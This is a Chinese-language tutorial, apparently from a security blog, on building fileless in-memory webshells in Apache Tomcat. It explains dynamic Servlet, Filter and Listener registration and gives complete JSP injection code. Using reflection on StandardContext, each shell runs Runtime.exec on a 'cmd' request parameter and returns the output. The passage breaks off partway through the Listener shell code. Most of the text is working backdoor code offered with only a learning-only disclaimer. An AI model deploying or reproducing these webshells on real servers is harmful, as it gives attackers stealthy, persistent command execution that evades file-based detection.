前言
Java作为企业级应用最广泛使用的编程语言之一,其生态的复杂性和广泛性使得JavaWeb内存马技术尤为引人注目。JavaWeb内存马通过直接在内存中注入并执行恶意代码,绕过了传统基于文件的安全检测机制,实现了无文件攻击,极大地提升了攻击者的隐蔽性和持久性。
本篇文章分别讲解了Servlet内存马, Filter内存马, Listener内存马
的编写方式, 以及对Tomcat动态注册
的全面理解, 从Debug
环境开始, 到最后的内存马编写.
声明:文中涉及到的技术和工具,仅供学习使用,禁止从事任何非法活动,如因此造成的直接或间接损失,均由使用者自行承担责任。
本篇文章目录如下:
调试环境搭建
本篇文章以Tomcat
为代表进行编写, 所以我们需要本地搭建一个可以Debug调试
Tomcat的一个环境.
安装链接: https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.0/
其中提供了bin && src
目录, bin 目录存放Tomcat
二进制文件, src 目录存放Tomcat
源码文件, 我们将二进制文件以及源码文件统一下载一份, 为了方便, 笔者直接在这里贴出链接:
二进制文件: https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.0/bin/apache-tomcat-8.5.0.zip
源码文件: https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.0/src/apache-tomcat-8.5.0-src.zip
下载到本地后, 我们使用 IDEA 新建一个 Maven 项目:
创建好基础目录之后, 我们将下载好的部分源码信息, 以及二进制文件信息, 拷贝到我们当前的工程目录下, 如图:
随后将如下外部库加入到pom.xml
文件中:
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<version>2.3</version>
<configuration>
<encoding>UTF-8</encoding>
<source>1.8</source>
<target>1.8</target>
</configuration>
</plugin>
</plugins>
</build>
<dependencies>
<dependency>
<groupId>org.easymock</groupId>
<artifactId>easymock</artifactId>
<version>3.4</version>
</dependency>
<dependency>
<groupId>ant</groupId>
<artifactId>ant</artifactId>
<version>1.7.0</version>
</dependency>
<dependency>
<groupId>wsdl4j</groupId>
<artifactId>wsdl4j</artifactId>
<version>1.6.2</version>
</dependency>
<dependency>
<groupId>javax.xml</groupId>
<artifactId>jaxrpc</artifactId>
<version>1.1</version>
</dependency>
<dependency>
<groupId>org.eclipse.jdt.core.compiler</groupId>
<artifactId>ecj</artifactId>
<version>4.5.1</version>
</dependency>
</dependencies>
将刚刚拷贝进来的lib
目录, 加入到当前环境的classpath
中:
加入后:
随后将srcmainjavamodulesjdbc-poolsrctest
目录删除, 否则运行会报错:
随后我们就可以运行Tomcat了, 在运行之前我们需要指定项目目录:
-Dcatalina.home=”当前项目目录”
运行完毕后, 我们就可以看到Tomcat
的运行结果:
并可以在Tomcat
上进行断点调试.
JVM_Bind 错误解决
在运行途中可能遇到JVM_Bind错误, 解决方法:
开始–>运行–>services.msc命令,打开Service窗口,在Services(Local)列表中找到Internet Connection 服务,重启即可。如图:
内存马调试
在之前的JavaWEB
基础中我们有所了解, 我们的Servlet, Listener, Filter
都在web.xml
文件中进行定义. 这一点我们就不再演示了.
JAVAWEB 基础文章: https://www.yuque.com/heihu577/uqc3u5/zsiw877tskelqmif?singleDoc
下面我们主要看一下动态注册机制
.
动态注册机制
ServletContext
中提供了addFilter, addListener, addServlet
等方法.
当然了这些动态注册方法需配合ServletContainerInitializer
接口使用, 这是Servlet3.0
的新增功能. 下面我们将简单演示该机制的使用.
操作演示
定义一个实现了ServletContainerInitializer
接口的MyServletContainerInitializer
类, 并且在其中进行动态注册Servlet
操作, 如下:
public class MyServletContainerInitializer implements ServletContainerInitializer {
@Override
public void onStartup(Set<Class<?>> set, ServletContext servletContext) throws ServletException {
Servlet servlet = new HttpServlet(){
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
resp.getWriter().println("heihu577");
}
};
/**
* 参数1: 要注入的 servlet 名称
* 参数2: 要注入的 servlet 对象
*/
ServletRegistration.Dynamic servletRegistration = servletContext.addServlet("heihu577", servlet);
servletRegistration.addMapping("/heihu577"); // 添加路由访问
}
}
创建srcmainresourcesMETA-INFservicesjavax.servlet.ServletContainerInitializer
文件, 其内容则是我们刚刚定义的MyServletContainerInitializer
完整类名:
com.heihu577.MyServletContainerInitializer
随后启动Tomcat
, 最终实现了动态注册:
Servlet 在启动时会扫描 META-INFservicesjavax.servlet.ServletContainerInitializer 文件, 若该文件中定义了类, 并且实现了 ServletContainerInitializer 接口, 那么会调用该类的 onStartup 方法. 以便程序员在启动 Tomcat 时, 不使用 web.xml 文件注册 Servlet, 就可以完成动态注册 Servlet 的方式.
提出问题
既然ServletContext
这么方便, 那么我们是否可以在jsp
文件中进行动态注册Servlet
, 从而实现内存马
?
我们可以做出尝试, 准备shell.jsp
文件, 内容如下:
<%@ page import="java.io.IOException" %>
<%
Servlet servlet = new HttpServlet(){
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException, IOException {
resp.getWriter().println("heihu577");
}
};
/**
* 参数1: 要注入的 servlet 名称
* 参数2: 要注入的 servlet 对象
*/
ServletRegistration.Dynamic servletRegistration = request.getServletContext().addServlet("heihu577", servlet); // 这里需要使用 request.getServletContext() 方法来获取 servletContext 对象
servletRegistration.addMapping("/heihu577"); // 添加路由访问
%>
运行结果如下:
可以看到, 抛出了java.lang.IllegalStateException: Servlets cannot be added to context as the context has been initialised
错误信息, 中文翻译过来: 由于上下文已初始化,无法将Servlet添加到上下文中
.
所以这里在Tomcat底层肯定对addServlet
做了校验信息, 来判断当前环境是否已初始化, 若初始化那么不支持动态注册, 若未初始化 (例如刚刚的ServletContainerInitializer接口案例) 则可以动态注册.
内存马实现
Servlet 内存马
ServletContainerInitializer 调试
虽然受到了束缚, 但我们不慌, 我们在我们的MyServletContainerInitializer
中增加断点, 看一下我们的servlet
是如何注入进Tomcat
容器中的, 进行一步一步调试, 如下:
Tomcat 架构概念解释
我们在代码中可以分析出来, ServletContext::addServlet
方法是包装了StandardContext
类对象的一系列操作, createWrapper, setName, addChild, setServletClass, setServlet, dynamicServletAdded...
, 只是一个封装的方法而已. 那么Wrapper
是什么?下面我们使用一张Tomcat架构图来进行解释.
通过上图, 我们脑中应该有 Engine, Host, Context, Wrapper 的概念, 这里 一个 Wrapper 对应一个 Servlet.
下面我们应该进行模拟ServletContext::addServlet
方法的核心操作, 进行注入我们自定义的Servlet
, 核心问题是StandardContext
对象我们应该如何获取?
在我们的Servlet
应用中, ServletContext
接口由org.apache.catalina.core.ApplicationContextFacade
进行实现, 如图:
而该类存在一个找到StandardContext
对象的链路, 如图:
所以我们可以通过反射, 来依次得到StandardContext
对象, 具体反射内容如: ApplicationContextFacade对象 -> context属性 -> context属性
, 依次得到即可, 在得到StandardContext
对象后, 我们可以模仿ServletContext::addServelt
的核心逻辑, 从而实现内存马注入.
Servlet 内存马编写
准备shell.jsp
代码如下:
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%!
public class MyExp extends HttpServlet { // 准备已存在的恶意类
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
// 命令执行与回显...
InputStream inputStream = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
byte[] myChunk = new byte[1024];
int i = 0;
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
while ((i = inputStream.read(myChunk)) != -1) {
byteArrayOutputStream.write(myChunk, 0, i);
}
resp.getWriter().println(new String(byteArrayOutputStream.toByteArray()));
}
}
%>
<%
ServletContext servletContext = request.getServletContext(); // 得到 ApplicationContextFacade 对象
Field ApplicationContextContext = servletContext.getClass().getDeclaredField("context"); // 得到 ApplicationContextFacade 对象的 context 字段
ApplicationContextContext.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) ApplicationContextContext.get(servletContext); // 得到 ApplicationContextFacade 对象 context 字段的对象值
Field StandardContextContext = applicationContext.getClass().getDeclaredField("context"); // 得到 ApplicationContextFacade -> context -> context 字段
StandardContextContext.setAccessible(true);
StandardContext standardContext = (StandardContext) StandardContextContext.get(applicationContext); // 得到 ApplicationContextFacade -> context -> context 对象 (StandardContext)
// 下面模拟 ServletContext::addServlet 方法中的动态生成内存马的代码块...
Wrapper wrapper = standardContext.createWrapper();
wrapper.setName("MyExp");
standardContext.addChild(wrapper);
MyExp myExp = new MyExp();
wrapper.setServletClass(myExp.getClass().getName());
wrapper.setServlet(myExp);
standardContext.dynamicServletAdded(wrapper);
standardContext.addServletMapping("/myExp", wrapper.getName());
%>
访问shell.jsp
后, /myExp
会自动存入内存, 访问/myExp?cmd=whoami
即可看到命令执行结果, 如图:
Filter 内存马
失败的 Filter 内存马注入
与之前研究Servlet内存马
一样, 准备MyServletContainerInitializer
:
public class MyServletContainerInitializer implements ServletContainerInitializer {
@Override
public void onStartup(Set<Class<?>> set, ServletContext servletContext) throws ServletException {
Filter filter = new Filter(){
@Override
public void init(FilterConfig filterConfig) throws ServletException {}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("Filter...");
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {}
};
FilterRegistration.Dynamic myFilter = servletContext.addFilter("myFilter", filter);
myFilter.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), true, "/*");
myFilter.setInitParameter("allowedMethods","GET,POST");
}
}
这是动态注册的代码块, 打上断点进行调试:
其核心逻辑已使用红框圈出, 准备shell2.jsp
:
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%!
public class MyExpFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest httpServletRequest = (HttpServletRequest) servletRequest;
String requestURI = httpServletRequest.getRequestURI();
System.out.println(requestURI);
if ("/heihu577".equals(requestURI)) {
InputStream inputStream = Runtime.getRuntime().exec(httpServletRequest.getParameter("cmd")).getInputStream();
byte[] myChunk = new byte[1024];
int i = 0;
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
while ((i = inputStream.read(myChunk)) != -1) {
byteArrayOutputStream.write(myChunk, 0, i);
}
servletResponse.getWriter().println(new String(byteArrayOutputStream.toByteArray()));
} else {
filterChain.doFilter(servletRequest, servletResponse);
}
}
@Override
public void destroy() {}
}
%>
<%
ServletContext servletContext = request.getServletContext(); // 得到 ApplicationContextFacade 对象
Field ApplicationContextContext = servletContext.getClass().getDeclaredField("context"); // 得到 ApplicationContextFacade 对象的 context 字段
ApplicationContextContext.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) ApplicationContextContext.get(servletContext); // 得到 ApplicationContextFacade 对象 context 字段的对象值
Field StandardContextContext = applicationContext.getClass().getDeclaredField("context"); // 得到 ApplicationContextFacade -> context -> context 字段
StandardContextContext.setAccessible(true);
StandardContext standardContext = (StandardContext) StandardContextContext.get(applicationContext); // 得到 ApplicationContextFacade -> context -> context 对象 (StandardContext)
// 下面模拟 ServletContext::addFilter 方法中的动态生成内存马的代码块...
FilterDef filterDef = new FilterDef();
filterDef.setFilterName("heihuFilter");
standardContext.addFilterDef(filterDef);
filterDef.setFilterClass(MyExpFilter.class.getName());
filterDef.setFilter(new MyExpFilter());
FilterMap filterMap = new FilterMap();
filterMap.setFilterName(filterDef.getFilterName());
filterMap.setDispatcher("[REQUEST]");
filterMap.addURLPattern("/*");
standardContext.addFilterMapBefore(filterMap);
%>
但是访问shell2.jsp
后Filter
并没有生效, 这是为什么呢?这里我们就定义一个正常的Filter, 并配置web.xml
, 通过访问该Filter, 查看代码的运行流程来解答了.
Filter 访问流程分析
定义MyFitler2
:
package com.heihu577.filter;
public class MyFilter2 implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
filterChain.doFilter(servletRequest, servletResponse); // 在该行打下断点.
}
@Override
public void destroy() {
}
}
定义web.xml
文件:
<filter>
<filter-name>myFilter</filter-name>
<filter-class>com.heihu577.filter.MyFilter2</filter-class>
</filter>
<filter-mapping>
<filter-name>myFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
随后在filterChain.doFilter(servletRequest, servletResponse);
处打下断点, 随后查看调用栈:
可以看到StandardHostValve -> StandardContextValve -> StandardWrapperValve -> ApplicationFilterChain
存在这样的一个调用过程, 这个调用过程相对来说也比较容易理解, 下面是理解图:
最终的ApplicationFilterChain::doFilter
方法值得我们关注, 如图:
所以我们之前写的shell2.jsp
内存马失败的原因也很简单: Tomcat 底层最终 new 了一个 ApplicationFilterRegistration 对象, 并对filterMap
进行了操作, 但还有一个filters
没有进行处理, filters
是调用doFilter方法
的关键, 如图:
filters
成员属性是一个ApplicationFilterConfig
数组, 该数组大小默认为0, 当我们HTTP
请求过来的时候, 都会对filters
进行遍历, 取出对应的ApplicationFilterConfig
, 随后调用ApplicationFilterConfig::getFilter
得到具体的filter
, 最后调用Filter::doFilter
方法.
我们并没有将MyExpFilter
放入到filters
中去, 但其实假设我们强制修改filters
将我们的MyExpFilter
放入, 其实也无法实现内存马, 因为对于每次HTTP
请求filters
数组都是动态生成的. 下面我们来证明这个问题.
在我们之前调用栈中的StandardWrapperValve::invoke
方法可以看到进入到ApplicationFilterChain::doFilter
的前提:
我们把重心关注到ApplicationFilterFactory::createFilterChain
方法中:
从图中109行 && 115行
的核心逻辑看到, filters
这个数组, 是每次HTTP请求, 并且在120行 ~ 123行
匹配成功后, 通过context.findFilterConfig (从filterConfigs中这个HashMap中查找)
来查找到对应的FilterConfig
, 然后调用filterChain.addFilter
进而在filters
容器中增加了一个Filter
.
而每次请求只有这两种匹配成功的情况才会创建ApplicationFilterConfig
并塞入到filters
容器中:
-
拿到 StandardContext::filterMaps
进行比对 -
拿到该Filter的名称, 去 StandardContext::filterConfigs
属性进行查找并取出
换言之则是: 想要注入内存马, 需要 filters 容器中存在相对应的值. 而 filters 中存在的值受StandardContext::filterMaps
以及StandardContext::filterConfigs
的影响.
内存马编写思路
那么, StandardContext::filterConfigs
我们可以通过自己手动创建ApplicationFilterConfig
往这个HashMap里面放:
private HashMap<String, ApplicationFilterConfig> filterConfigs = new HashMap<>();
其中ApplicationFilterConfig
的构造函数为:
ApplicationFilterConfig(Context context, FilterDef filterDef)
而StandardContext::filterMaps
我们可以通过反射得到该对象, 然后通过该对象的addBefore
方法, 将我们的filterMap
加进去:
private final ContextFilterMaps filterMaps = new ContextFilterMaps();
//...
private static final class ContextFilterMaps {
private FilterMap[] array = new FilterMap[0];
// ...
public void addBefore(FilterMap filterMap) {
synchronized (lock) {
FilterMap results[] = new FilterMap[array.length + 1];
System.arraycopy(array, 0, results, 0, insertPoint);
System.arraycopy(array, insertPoint, results, insertPoint + 1,
array.length - insertPoint);
results[insertPoint] = filterMap;
array = results;
insertPoint++;
}
}
// ...
}
最终shell2.jsp
代码为:
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="java.lang.reflect.Method" %>
<%!
public class MyExpFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest httpServletRequest = (HttpServletRequest) servletRequest;
String requestURI = httpServletRequest.getRequestURI();
System.out.println(requestURI);
if ("/heihu577".equals(requestURI)) {
InputStream inputStream = Runtime.getRuntime().exec(httpServletRequest.getParameter("cmd")).getInputStream();
byte[] myChunk = new byte[1024];
int i = 0;
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
while ((i = inputStream.read(myChunk)) != -1) {
byteArrayOutputStream.write(myChunk, 0, i);
}
servletResponse.getWriter().println(new String(byteArrayOutputStream.toByteArray()));
} else {
filterChain.doFilter(servletRequest, servletResponse);
}
}
@Override
public void destroy() {}
}
%>
<%
ServletContext servletContext = request.getServletContext(); // 得到 ApplicationContextFacade 对象
Field ApplicationContextContext = servletContext.getClass().getDeclaredField("context"); // 得到 ApplicationContextFacade 对象的 context 字段
ApplicationContextContext.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) ApplicationContextContext.get(servletContext); // 得到 ApplicationContextFacade 对象 context 字段的对象值
Field StandardContextContext = applicationContext.getClass().getDeclaredField("context"); // 得到 ApplicationContextFacade -> context -> context 字段
StandardContextContext.setAccessible(true);
StandardContext standardContext = (StandardContext) StandardContextContext.get(applicationContext); // 得到 ApplicationContextFacade -> context -> context 对象 (StandardContext)
// 下面模拟 ServletContext::addFilter 方法中的动态生成内存马的代码块...
FilterDef filterDef = new FilterDef();
filterDef.setFilterName("heihuFilter");
// standardContext.addFilterDef(filterDef);
filterDef.setFilterClass(MyExpFilter.class.getName());
filterDef.setFilter(new MyExpFilter());
FilterMap filterMap = new FilterMap();
filterMap.setFilterName(filterDef.getFilterName());
filterMap.setDispatcher("[REQUEST]");
filterMap.addURLPattern("/*");
// standardContext.addFilterMapBefore(filterMap);
// 创建 ApplicationFilterConfig, 未来往 filterConfigs 里面放
Constructor<?> declaredConstructor = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructor(Context.class, FilterDef.class);
declaredConstructor.setAccessible(true);
ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) declaredConstructor.newInstance(standardContext, filterDef);
// 得到 filterConfigs, 并且往这个 HashMap 中放置我们的 ApplicationFilterConfig
Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigs.setAccessible(true);
HashMap<String, ApplicationFilterConfig> myFilterConfigs = (HashMap<String, ApplicationFilterConfig>) filterConfigs.get(standardContext);
myFilterConfigs.put(filterMap.getFilterName(), applicationFilterConfig);
filterConfigs.set(standardContext, myFilterConfigs);
// 得到 filterMaps, 并且调用 addBefore 方法, 将我们的 filterMap 放入进去
Field filterMaps = standardContext.getClass().getDeclaredField("filterMaps");
filterMaps.setAccessible(true);
Method addBefore = filterMaps.get(standardContext).getClass().getDeclaredMethod("addBefore", FilterMap.class);
addBefore.setAccessible(true);
addBefore.invoke(filterMaps.get(standardContext), filterMap); // 调用 addBefore 方法, 加入我们的 filterMap
// 一切处理完毕后, 在下次请求过来, 会请求到 ApplicationFilterFactory::createFilterChain 方法进行比对, 比对成功了, 则立马进入 doFilter 方法进行处理...
%>
也可以这样:
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="java.lang.reflect.Method" %>
<%!
public class MyExpFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest httpServletRequest = (HttpServletRequest) servletRequest;
String requestURI = httpServletRequest.getRequestURI();
System.out.println(requestURI);
if ("/heihu577".equals(requestURI)) {
InputStream inputStream = Runtime.getRuntime().exec(httpServletRequest.getParameter("cmd")).getInputStream();
byte[] myChunk = new byte[1024];
int i = 0;
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
while ((i = inputStream.read(myChunk)) != -1) {
byteArrayOutputStream.write(myChunk, 0, i);
}
servletResponse.getWriter().println(new String(byteArrayOutputStream.toByteArray()));
} else {
filterChain.doFilter(servletRequest, servletResponse);
}
}
@Override
public void destroy() {}
}
%>
<%
ServletContext servletContext = request.getServletContext(); // 得到 ApplicationContextFacade 对象
Field ApplicationContextContext = servletContext.getClass().getDeclaredField("context"); // 得到 ApplicationContextFacade 对象的 context 字段
ApplicationContextContext.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) ApplicationContextContext.get(servletContext); // 得到 ApplicationContextFacade 对象 context 字段的对象值
Field StandardContextContext = applicationContext.getClass().getDeclaredField("context"); // 得到 ApplicationContextFacade -> context -> context 字段
StandardContextContext.setAccessible(true);
StandardContext standardContext = (StandardContext) StandardContextContext.get(applicationContext); // 得到 ApplicationContextFacade -> context -> context 对象 (StandardContext)
// 下面模拟 ServletContext::addFilter 方法中的动态生成内存马的代码块...
FilterDef filterDef = new FilterDef();
filterDef.setFilterName("heihuFilter");
standardContext.addFilterDef(filterDef);
filterDef.setFilterClass(MyExpFilter.class.getName());
filterDef.setFilter(new MyExpFilter());
FilterMap filterMap = new FilterMap();
filterMap.setFilterName(filterDef.getFilterName());
filterMap.setDispatcher("[REQUEST]");
filterMap.addURLPattern("/*");
standardContext.addFilterMapBefore(filterMap); // 因为该行代码操作的就是 filterMaps
// 创建 ApplicationFilterConfig, 未来往 filterConfigs 里面放
Constructor<?> declaredConstructor = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructor(Context.class, FilterDef.class);
declaredConstructor.setAccessible(true);
ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) declaredConstructor.newInstance(standardContext, filterDef);
// 得到 filterConfigs, 并且往这个 HashMap 中放置我们的 ApplicationFilterConfig
Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigs.setAccessible(true);
HashMap<String, ApplicationFilterConfig> myFilterConfigs = (HashMap<String, ApplicationFilterConfig>) filterConfigs.get(standardContext);
myFilterConfigs.put(filterMap.getFilterName(), applicationFilterConfig);
filterConfigs.set(standardContext, myFilterConfigs);
// 得到 filterMaps, 并且调用 addBefore 方法, 将我们的 filterMap 放入进去
// Field filterMaps = standardContext.getClass().getDeclaredField("filterMaps");
// filterMaps.setAccessible(true);
// Method addBefore = filterMaps.get(standardContext).getClass().getDeclaredMethod("addBefore", FilterMap.class);
// addBefore.setAccessible(true);
// addBefore.invoke(filterMaps.get(standardContext), filterMap);
%>
最终运行结果:
为什么在初始化时可以注入成功
其本身的问题也是 ServletContainerInitializer 中可以注入成功? 我们可以在我们的MyServletContainerInitializer
进行打断点调试, 查看调用栈:
在StandardContext
类中存在filterStart
方法, 可以解析FilterDef
, 来生成ApplicationFilterConfig
对象, 并放置到filterConfigs
字段中, 如图:
但这个方法当Tomcat启动完毕后, 就不会再执行了, 所以我们原来的马子中FilterDef
无法生成ApplicationFilterConfig
. 所以也就是说, 在Tomcat启动时, 就在处理filterConfigs
了, 随后再也不管了, 所以我们在运行中无法直接用原来的方式注入进Tomcat容器中.
在一切处理完毕时还好, 调用的是StandardContext::addMappingForUrlPatterns
, 其中直接操作的就是filterMaps
, 如图:
Listener 内存马
最后我们看一下Listener
内存马, 普遍的Listener
分别为:
-
ServletContextListener:用于监听整个 Servlet 上下文(创建、销毁) -
ServletContextAttributeListener:对 Servlet 上下文属性进行监听(增删改属性) -
ServletRequestListener:对 Request 请求进行监听(创建、销毁) -
ServletRequestAttributeListener:对 Request 属性进行监听(增删改属性) -
javax.servlet.http.HttpSessionListener:对 Session 整体状态的监听 -
javax.servlet.http.HttpSessionAttributeListener:对 Session 属性的监听
Listener 内存马回显问题
当然为了方便笔者使用ServletRequestListener
进行举例, 但ServletRequestListener
接口提供了两个待实现的方法, 如下:
public interface ServletRequestListener extends EventListener {
void requestDestroyed(ServletRequestEvent var1); // 只有 requestEvent 对象
void requestInitialized(ServletRequestEvent var1);
}
ServletRequestEvent可以通过getServletRequest
方法进行获取request对象:
public class ServletRequestEvent extends EventObject {
private static final long serialVersionUID = 1L;
private final transient ServletRequest request;
public ServletRequestEvent(ServletContext sc, ServletRequest request) {
super(sc);
this.request = request;
}
public ServletRequest getServletRequest() {
return this.request;
}
public ServletContext getServletContext() {
return (ServletContext)super.getSource();
}
}
那么如果我们构建内存马的话, 应该如何获得回显是个问题. 我们定义一个普通的Servlet
, 对ServletRequest
对象进行研究:
public class MyServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
System.out.println(req); // 在这里打上断点
}
}
在web.xml
文件中进行实现:
<servlet>
<servlet-name>myServlet</servlet-name>
<servlet-class>com.heihu577.servlet.MyServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>myServlet</servlet-name>
<url-pattern>/my</url-pattern>
</servlet-mapping>
打上断点并访问, 查看一下 request 对象结构:
可以看到, 我们通过 request 对象是可以得到 response 对象的, 通过反射获取, 将Servlet
内容改为如下:
public class MyServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
try {
Field request = req.getClass().getDeclaredField("request");
request.setAccessible(true);
Request requestO = (Request) request.get(req);
Field response = requestO.getClass().getDeclaredField("response");
response.setAccessible(true);
Response responseO = (Response) response.get(requestO);
responseO.getWriter().println("HelloWorld");
} catch (NoSuchFieldException e) {
throw new RuntimeException(e);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
}
}
}
重启Tomcat服务器并访问, 结果如下:
Listener 动态添加分析
老套路, 准备一个MyServletContainerInitializer
:
public class MyServletContainerInitializer implements ServletContainerInitializer {
@Override
public void onStartup(Set<Class<?>> set, ServletContext servletContext) throws ServletException {
ServletRequestListener servletRequestListener = new ServletRequestListener(){
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
HttpServletRequest httpServletRequest = (HttpServletRequest) servletRequestEvent.getServletRequest();
String requestURI = httpServletRequest.getRequestURI();
System.out.println(requestURI);
if ("/heihu577".equals(requestURI)) {
InputStream inputStream = null;
try {
inputStream = Runtime.getRuntime().exec(httpServletRequest.getParameter("cmd")).getInputStream();
} catch (IOException e) {
throw new RuntimeException(e);
}
byte[] myChunk = new byte[1024];
int i = 0;
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
while (true) {
try {
if (!((i = inputStream.read(myChunk)) != -1)) break;
} catch (IOException e) {
throw new RuntimeException(e);
}
byteArrayOutputStream.write(myChunk, 0, i);
}
try {
Field response = httpServletRequest.getClass().getDeclaredField("response");
response.setAccessible(true);
Response responseO = (Response) response.get(httpServletRequest);
responseO.getWriter().println(new String(byteArrayOutputStream.toByteArray()));
} catch (NoSuchFieldException e) {
throw new RuntimeException(e);
} catch (IOException e) {
throw new RuntimeException(e);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
}
}
}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {}
};
servletContext.addListener(servletRequestListener);
System.out.println("OK~");
}
}
对servletContext.addListener
打上断点分析其过程:
Listener 内存马编写
准备shell3.jsp
文件内容如下:
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%!
public class MyListener implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
HttpServletRequest httpServletRequest = (HttpServletRequest) servletRequestEvent.getServletRequest();
String requestURI = httpServletRequest.getRequestURI();
System.out.println(requestURI);
if ("/heihu577".equals(requestURI)) {
InputStream inputStream = null;
try {
inputStream = Runtime.getRuntime().exec(httpServletRequest.getParameter("cmd")).getInputStream();
} catch (IOException e) {
throw new RuntimeException(e);
}
byte[] myChunk = new byte[1024];
int i = 0;
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
while (true) {
try {
if (!((i = inputStream.read(myChunk)) != -1)) break;
} catch (IOException e) {
throw new RuntimeException(e);
}
byteArrayOutputStream.write(myChunk, 0, i);
}
try {
Field response = httpServletRequest.getClass().getDeclaredField("response");
response.setAccessible(true);
Response responseO = (Response) response.get(httpServletRequest);
responseO.getWriter().println(new String(byteArrayOutputStream.toByteArray()));
} catch (NoSuchFieldException e) {
throw new RuntimeException(e);
} catch (IOException e) {
throw new RuntimeException(e);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
}
}
}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
}
}
%>
<%
ServletContext servletContext = request.getServletContext(); // 得到 ApplicationContextFacade 对象
Field ApplicationContextContext = servletContext.getClass().getDeclaredField("context"); // 得到 ApplicationContextFacade 对象的 context 字段
